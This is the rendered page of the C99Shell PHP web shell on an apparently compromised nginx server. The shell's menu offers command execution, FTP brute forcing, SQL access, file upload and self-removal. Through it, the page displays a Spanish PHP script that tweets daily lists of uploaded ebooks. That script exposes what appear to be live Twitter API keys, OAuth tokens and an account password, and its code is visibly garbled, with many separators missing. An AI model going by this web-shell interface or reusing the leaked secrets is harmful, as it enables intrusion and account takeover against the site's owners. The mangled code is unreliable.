!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/automatas/twitter/   drwxrwxr-x
Free 83.32 GB of 96.73 GB (86.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     twitter_auto.php (2.86 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require('twitteroauth.php'); //incluir la librería
define('_CONSUMER_KEY','rGYinkAD5NCT2BmNOSNSUA'); //La obtenes en el paso 1
define('_CONSUMER_SECRET','DWE3JowJ5pOemhOklTPgFp6n0CugBqpo04CEiIcXQs'); //La obtenes en el paso 1
define('_OAUTH_TOKEN','113912607-Om4GBuqkylrHlgnUVEaEH3349xX0bvkTByeIxeSD'); //La obtenes en el paso 1
define('_OAUTH_TOKEN_SECRET','bntu6wCQSfDiYPzJ97F551Y10rQgQhrBHJYPVzJ2ao'); //La obtenes en el paso 1
  
include "/home/wwwroot/frames/conn.php"
  
  
// metemos los subidos en el dia de ayer.
  
$fecha=date('Y-m-d'strtotime('-1 days'));
  
$cript = new Encriptor();  
  
  
$sql="SELECT *
FROM `libros`
WHERE fecha_subida > '
$fecha 00:00:00'
AND fecha_subida < '
$fecha 23:59:59'
and inftp=1"
;
$ccadena="";
$res=mysql_query($sql,$conn);
while (
$row=mysql_fetch_array($res)){
    
$ccadena.="||".$row[id];
    
}
echo 
$ccadenasubstr($ccadena,2);
$q1=$cript->encrypt($ccadena);
$q2$cript->encrypt("Lista de libros subidos con fecha $fecha");
// y aqui generamos el enlace con 9fx.us
$enlace_bruto=utf8_encode("http://www.papyrefb2.net/frames/listatwitter.php?q1=$q1@@**@@$q2");

$handle=fopen("http://9fx.us/index.php?url=$enlace_bruto&format=txt",'r');
while (!
feof($handle)) {
        
$ultimosfgets($handle);
}
        echo 
"<br>ultimos:".$ultimos."<br>";


                                     
    
$user="papyrefb2";

    
$pass="ilvm2rg2";    

    
$mensaje="$ultimos Lista de libros subidos ayer a papyrefb2.net  #ebooks";  
    
    
//***************************************************
    
    
 
    //    $bit=tinyurl($link); //reducimos el link con la api de bit.ly
    //    $quedan=(140-strlen($bit))-4; // calculo los caracteres restantes que me quedan para publicar restando los puntos suspensivo
    //    $mensaje=substr($mensaje,0,$quedan).' ...'.$bit; // corto el mensaje en caso de que sea muy largo
 

//Realizamos la conexión
$connection getConnectionWithAccessToken();
//Publicamos el mensaje en twitter
$twitter=$connection->post('statuses/update', array('status' =>utf8_encode($mensaje)));
 
 
print_r($twitter);

    
    
    
    
    














// metemos los más descargados ayer




    
    
    
    
    
    
    
    
 //declaramos la función que realiza la conexión a tu aplicación de twitter
function getConnectionWithAccessToken() {
                    
$connection = new TwitterOAuth(_CONSUMER_KEY_CONSUMER_SECRET,_OAUTH_TOKEN_OAUTH_TOKEN_SECRET);
                   return 
$connection;
                }
 
//Función para acortar URL con bit.ly . Primero debemos registrarnos en http://bit.ly para obtener clave api y usuario
 
function tinyurl($url_larga){
$tiny "http://9fx.us/index.php?url=$url_larga&format=txt";
$sesion curl_init();
curl_setopt $sesionCURLOPT_URL$tiny );
curl_setopt $sesionCURLOPT_RETURNTRANSFER);
$url_tiny curl_exec $sesion );
curl_close$sesion );
return(
$url_tiny);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0047 ]--